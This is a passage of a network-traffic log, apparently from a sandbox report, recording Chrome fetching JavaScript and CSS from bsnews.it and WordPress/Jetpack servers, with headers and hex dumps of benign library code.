2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 61 3d 4d 2e 70 6c 61 63 65 68 6f 6c 64 65 72 3b 72 65 74 75 72 6e 20 69 7d 29 2c 47 6e 3d 28 4d 2e 70 6c 61 63 65 68 6f 6c 64 65 72 3d 6d 2c 6c 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 2c 65 29 7b 76 61 72 20 75 3b 69 66 28 70 28 72 29 29 72 65 74 75 72 6e 20 75 3d 6c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 4a 6e 28 72 2c 75 2c 74 2c 74 68 69 73 2c 65 2e 63 6f 6e 63 61 74 28 6e 29 29 7d 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 42 69 6e 64 20 6d 75 73 74 20 62 65 20 63 61 6c 6c 65 64 20 6f 6e 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 29 29 2c 45 3d 6c 6e 28 67 29 3b 66 75 6e 63 74 69 6f 6e 20 42 28 6e 2c 72 2c 74 2c 65 29 7b 69 66 28 65 3d 65 7c 7c 5b 5d 2c 72 7c 7c 30 3d 3d 3d 72 29 7b 69 66 28 72 3c 3d 30 29 Data Ascii: a=M.placeholder;return i}),Gn=(M.placeholder=m,l(function(r,t,e){var u;if(p(r))return u=l(function(n){return Jn(r,u,t,this,e.concat(n))});throw new TypeError("Bind must be called on a function")})),E=ln(g);function B(n,r,t,e){if(e=e\|\|[],r\|\|0===r){if(r<=0)
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2b 75 2c 65 29 3a 75 3d 30 3c 3d 74 3f 4d 61 74 68 2e 6d 69 6e 28 74 2b 31 2c 75 29 3a 74 2b 75 2b 31 3b 65 6c 73 65 20 69 66 28 61 26 26 74 26 26 75 29 72 65 74 75 72 6e 20 6e 5b 74 3d 61 28 6e 2c 72 29 5d 3d 3d 3d 72 3f 74 3a 2d 31 3b 69 66 28 72 21 3d 72 29 72 65 74 75 72 6e 20 30 3c 3d 28 74 3d 69 28 66 2e 63 61 6c 6c 28 6e 2c 65 2c 75 29 2c 66 6e 29 29 3f 74 2b 65 3a 2d 31 3b 66 6f 72 28 74 3d 30 3c 6f 3f 65 3a 75 2d 31 3b 30 3c 3d 74 26 26 74 3c 75 3b 74 2b 3d 6f 29 69 66 28 6e 5b 74 5d 3d 3d 3d 72 29 72 65 74 75 72 6e 20 74 3b 72 65 74 75 72 6e 2d 31 7d 7d 76 61 72 20 61 72 3d 69 72 28 31 2c 65 72 2c 6f 72 29 2c 66 72 3d 69 72 28 2d 31 2c 75 72 29 3b 66 75 6e 63 74 69 6f 6e 20 63 72 28 6e 2c 72 2c 74 29 7b 72 3d 28 45 28 6e 29 3f 65 72 3a 72 72 29 Data Ascii: +u,e):u=0<=t?Math.min(t+1,u):t+u+1;else if(a&&t&&u)return n[t=a(n,r)]===r?t:-1;if(r!=r)return 0<=(t=i(f.call(n,e,u),fn))?t+e:-1;for(t=0<o?e:u-1;0<=t&&t<u;t+=o)if(n[t]===r)return t;return-1}}var ar=ir(1,er,or),fr=ir(-1,ur);function cr(n,r,t){r=(E(n)?er:rr)
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 65 6e 67 74 68 3f 4e 6e 28 6e 2c 75 29 3a 6e 29 29 72 65 74 75 72 6e 3b 72 3d 6e 5b 74 5d 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 72 3f 72 3a 72 2e 61 70 70 6c 79 28 6e 2c 65 29 7d 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 64 72 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 49 28 6e 2c 6b 6e 28 72 29 29 7d 66 75 6e 63 74 69 6f 6e 20 67 72 28 6e 2c 65 2c 72 29 7b 76 61 72 20 74 2c 75 2c 6f 3d 2d 31 2f 30 2c 69 3d 2d 31 2f 30 3b 69 66 28 6e 75 6c 6c 3d 3d 65 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 6e 5b 30 5d 26 26 6e 75 6c 6c 21 3d 6e 29 66 6f 72 28 76 61 72 20 61 3d 30 2c 66 3d 28 6e 3d 45 28 6e 29 3f 6e 3a 6a 28 6e 29 29 2e 6c 65 6e 67 74 68 3b 61 3c 66 3b 61 2b 2b 29 6e 75 6c 6c 21 3d Data Ascii: ength?Nn(n,u):n))return;r=n[t]}return null==r?r:r.apply(n,e)})});function dr(n,r){return I(n,kn(r))}function gr(n,e,r){var t,u,o=-1/0,i=-1/0;if(null==e\|\|"number"==typeof e&&"object"!=typeof n[0]&&null!=n)for(var a=0,f=(n=E(n)?n:j(n)).length;a<f;a++)null!=
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 21 6b 28 74 2c 72 29 7d 29 2c 4f 72 28 6e 2c 65 2c 72 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 45 72 28 6e 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 66 2e 63 61 6c 6c 28 6e 2c 30 2c 4d 61 74 68 2e 6d 61 78 28 30 2c 6e 2e 6c 65 6e 67 74 68 2d 28 6e 75 6c 6c 3d 3d 72 7c 7c 74 3f 31 3a 72 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 72 28 6e 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 2e 6c 65 6e 67 74 68 3c 31 3f 6e 75 6c 6c 3d 3d 72 7c 7c 74 3f 76 6f 69 64 20 30 3a 5b 5d 3a 6e 75 6c 6c 3d 3d 72 7c 7c 74 3f 6e 5b 30 5d 3a 45 72 28 6e 2c 6e 2e 6c 65 6e 67 74 68 2d 72 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 6e 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 66 2e 63 61 6c 6c 28 6e 2c 6e 75 6c 6c 3d 3d 72 7c 7c 74 3f 31 3a 72 29 7d 76 61 72 20 4e 72 3d Data Ascii: !k(t,r)}),Or(n,e,r)});function Er(n,r,t){return f.call(n,0,Math.max(0,n.length-(null==r\|\|t?1:r)))}function Br(n,r,t){return null==n\|\|n.length<1?null==r\|\|t?void 0:[]:null==r\|\|t?n[0]:Er(n,n.length-r)}function R(n,r,t){return f.call(n,null==r\|\|t?1:r)}var Nr=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	641	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	746	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Fri, 22 Mar 2024 11:37:58 GMT ETag: "65fd6d96-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hPa3jih88%2BNhl4x%2BtS08xRgk7t%2F0mCbBSIakgJzJxq1eYDJfvSS4b3Uc9OiFZ6J5AQYUPM18kzJ9R3AOk6s40Rk%2FD2z0XKl9QQ89MoqK%2FEWckkbiE6jyZB1HIcg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66041db193b8a-IAD X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 30 Mar 2024 08:51:02 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	623	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href
2024-03-28 08:51:02 UTC	616	IN	Data Raw: 6c 65 6e 67 74 68 29 29 7d 63 61 74 63 68 28 69 29 7b 65 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 75 29 2c 63 3d 30 3b 63 3c 72 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 74 72 79 7b 76 61 72 20 6f 3d 72 5b 63 5d 2c 61 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 66 29 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 6e 28 69 2c 30 29 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 6c 29 3b 61 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 64 2c 6f 29 7d 7d 63 61 74 63 68 28 68 29 7b 65 28 68 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 71 75 65 72 79 53 Data Ascii: length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.queryS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49775	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	555	OUT	GET /p/jetpack/13.2.2/_inc/build/likes/queuehandler.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	533	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 7507 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 19 Feb 2024 17:45:50 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:02 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	836	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 3d 5b 5d 2c 74 3d 21 31 2c 69 3d 32 65 33 2c 6e 3d 5b 5d 2c 6f 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 65 3d 3e 7b 22 6c 6f 61 64 69 6e 67 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 65 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 28 28 29 3d 3e 65 28 29 29 29 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7d 69 66 28 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 Data Ascii: (()=>{var e=[],t=!1,i=2e3,n=[],o=new Promise((e=>{"loading"!==document.readyState?e():window.addEventListener("DOMContentLoaded",(()=>e()))}));function l(e,t){if("string"==typeof e)try{e=JSON.parse(e)}catch(e){return}if(t&&"function"==typeof t.postMessage
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 72 61 76 61 74 61 72 73 22 29 3b 69 66 28 65 29 7b 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 5f 5f 72 65 73 69 7a 65 48 61 6e 64 6c 65 72 3b 74 26 26 28 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 73 69 7a 65 22 2c 74 29 2c 64 65 6c 65 74 65 20 65 2e 5f 5f 72 65 73 69 7a 65 48 61 6e 64 6c 65 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 76 61 72 20 65 3b 69 66 28 74 29 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 6c 65 74 20 65 3d 6e 2e 6c 65 6e 67 74 68 2d 31 3b 65 3e 3d 30 3b 65 2d 2d 29 7b 63 6f 6e 73 74 20 74 3d 6e 5b 65 5d 3b 69 Data Ascii: ravatars");if(e){e.style.display="none",e.setAttribute("aria-hidden","true");const t=e.__resizeHandler;t&&(window.removeEventListener("resize",t),delete e.__resizeHandler)}}function r(){var e;if(t){!function(){for(let e=n.length-1;e>=0;e--){const t=n[e];i
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 73 2d 77 69 64 67 65 74 2d 66 72 61 6d 65 20 6a 65 74 70 61 63 6b 2d 6c 69 6b 65 73 2d 77 69 64 67 65 74 2d 66 72 61 6d 65 22 2c 65 2e 6e 61 6d 65 3d 74 2e 64 61 74 61 73 65 74 2e 6e 61 6d 65 2c 65 2e 73 72 63 3d 74 2e 64 61 74 61 73 65 74 2e 73 72 63 2c 65 2e 68 65 69 67 68 74 3d 22 31 38 70 78 22 2c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 65 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 22 30 22 2c 65 2e 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 2c 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 2d 66 65 65 64 62 61 63 6b 22 29 2e 61 66 74 65 72 28 65 29 2c 6e 2e 70 75 73 68 28 65 29 7d 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 6a 65 74 70 61 Data Ascii: lass="comment-likes-widget-frame jetpack-likes-widget-frame",e.name=t.dataset.name,e.src=t.dataset.src,e.height="18px",e.width="100%",e.frameBorder="0",e.scrolling="no",t.querySelector(".comment-like-feedback").after(e),n.push(e)}t.classList.remove("jetpa
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6d 69 6e 2d 62 61 72 2d 77 70 6c 2d 6c 69 6b 65 20 3e 20 61 22 29 2c 69 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 77 70 61 64 6d 69 6e 62 61 72 22 29 3b 65 2e 61 64 6d 69 6e 42 61 72 53 74 79 6c 65 73 3d 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 26 26 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 62 61 63 6b 67 72 6f 75 6e 64 2c 69 73 52 74 6c 3a 69 26 26 22 72 74 6c 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 69 29 2e 64 69 72 65 63 74 69 6f 6e 7d 7d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 73 69 6e 67 6c 65 22 29 26 26 6c 28 7b 65 76 65 6e 74 3a 22 72 65 62 6c 6f 67 73 45 6e 61 62 6c 65 64 22 7d 2c 77 69 6e 64 6f 77 2e 66 72 61 Data Ascii: min-bar-wpl-like > a"),i=document.querySelector("#wpadminbar");e.adminBarStyles={background:t&&getComputedStyle(t).background,isRtl:i&&"rtl"===getComputedStyle(i).direction}}document.body.classList.contains("single")&&l({event:"reblogsEnabled"},window.fra
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6e 73 28 22 77 70 6c 2d 6e 65 77 2d 6c 61 79 6f 75 74 22 29 2c 69 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 75 6c 22 29 3b 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 69 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 74 3f 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6c 69 6b 65 73 2d 74 65 78 74 20 73 70 61 6e 22 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 72 2e 74 6f 74 61 6c 4c 69 6b 65 73 4c 61 62 65 6c 29 29 3a 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6c 69 6b 65 73 2d 74 65 78 74 20 73 70 61 6e 22 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 72 2e 74 6f 74 61 6c 29 29 2c 28 72 2e 6c 69 6b 65 72 73 7c Data Ascii: ns("wpl-new-layout"),i=e.querySelector("ul");e.style.display="none",i.innerHTML="",t?e.querySelectorAll(".likes-text span").forEach((e=>e.textContent=r.totalLikesLabel)):e.querySelectorAll(".likes-text span").forEach((e=>e.textContent=r.total)),(r.likers\|
2024-03-28 08:51:02 UTC	1195	IN	Data Raw: 5b 6e 61 6d 65 3d 27 24 7b 72 2e 70 61 72 65 6e 74 7d 27 5d 60 29 2c 6c 3d 6f 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 73 3d 6f 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2c 61 3d 6c 2e 74 6f 70 2b 73 2e 70 61 67 65 59 4f 66 66 73 65 74 2c 63 3d 6c 2e 6c 65 66 74 2b 73 2e 70 61 67 65 58 4f 66 66 73 65 74 3b 6c 65 74 20 64 3d 30 3b 69 66 28 74 29 7b 69 66 28 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 61 2b 72 2e 70 6f 73 69 74 69 6f 6e 2e 74 6f 70 2d 31 2b 22 70 78 22 2c 6e 29 7b 63 6f 6e 73 74 20 74 3d 72 26 26 72 2e 6c 69 6b 65 72 73 3f 4d 61 74 68 2e 6d 69 6e 28 72 2e 6c 69 6b 65 72 73 2e 6c 65 6e 67 74 68 2c 35 29 3a 30 3b 64 3d 63 2b 72 2e 70 6f 73 69 74 69 6f 6e 2e 6c 65 66 74 2b 32 34 2a Data Ascii: [name='${r.parent}']`),l=o.getBoundingClientRect(),s=o.ownerDocument.defaultView,a=l.top+s.pageYOffset,c=l.left+s.pageXOffset;let d=0;if(t){if(e.style.top=a+r.position.top-1+"px",n){const t=r&&r.likers?Math.min(r.likers.length,5):0;d=c+r.position.left+24*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49773	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	675	OUT	GET /wp-content/plugins/mailpoet/assets/dist/css/mailpoet-public.c5d405bf.css?ver=6.4.3 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	725	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=17864 etag: W/"66023825-45c8" last-modified: Tue, 26 Mar 2024 02:51:17 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4604 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HWdRDtZviDomjAXZmgNVDydXAX25nwtaZIBNRxclomwjXJbkf1ecGr4TJ5ytqYBy5mVmhG7w0OBp4qhiBGzxTyc3RQJrLukMott3dI%2Fb9ZClX%2BHe73sE464vzH4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660421d250821-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	644	IN	Data Raw: 34 35 33 36 0d 0a 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 70 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 6f 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 75 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 6c 69 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 64 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 64 74 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 64 64 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 66 69 67 75 72 65 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 66 69 65 6c 64 73 65 74 2c 2e 6d Data Ascii: 4536.mailpoet_form_html p,.mailpoet_form_html ol,.mailpoet_form_html ul,.mailpoet_form_html li,.mailpoet_form_html dl,.mailpoet_form_html dt,.mailpoet_form_html dd,.mailpoet_form_html blockquote,.mailpoet_form_html figure,.mailpoet_form_html fieldset,.m
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 64 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 64 74 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 64 64 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 66 69 67 75 72 65 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 66 69 65 6c 64 73 65 74 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 66 6f 72 6d 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 6c 65 67 65 6e 64 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 74 65 78 74 61 72 65 61 Data Ascii: ,.mailpoet_form_iframe dl,.mailpoet_form_iframe dt,.mailpoet_form_iframe dd,.mailpoet_form_iframe blockquote,.mailpoet_form_iframe figure,.mailpoet_form_iframe fieldset,.mailpoet_form_iframe form,.mailpoet_form_iframe legend,.mailpoet_form_iframe textarea
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 66 72 61 6d 65 20 75 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 6f 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 6c 61 62 65 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 68 74 6d 6c 20 69 6e 70 75 74 2c 2e 6d 61 69 6c 70 6f 65 74 5f 66 6f 72 6d 5f 69 66 72 61 6d 65 20 69 6e 70 75 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 Data Ascii: frame ul,.mailpoet_form_iframe ol{font-family:Arial,Helvetica,sans-serif}.mailpoet_form_html label,.mailpoet_form_iframe label{font-family:Arial,Helvetica,sans-serif;margin-bottom:10px}.mailpoet_form_html input,.mailpoet_form_iframe input{font-family:Aria
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 61 72 73 6c 65 79 2d 63 75 73 74 6f 6d 2d 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 7b 63 6f 6c 6f 72 3a 23 39 30 30 7d 2e 6d 61 69 6c 70 6f 65 74 2d 66 6f 72 6d 2d 65 72 72 6f 72 73 7b 70 61 64 64 69 6e 67 3a 30 20 31 36 70 78 7d 2e 6d 61 69 6c 70 6f 65 74 5f 74 65 78 74 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 74 65 78 74 61 72 65 61 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 73 65 6c 65 63 74 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 72 61 64 69 6f 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 63 68 65 63 6b 62 6f 78 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 65 74 5f 6c 69 73 74 5f 6c 61 62 65 6c 2c 2e 6d 61 69 6c 70 6f 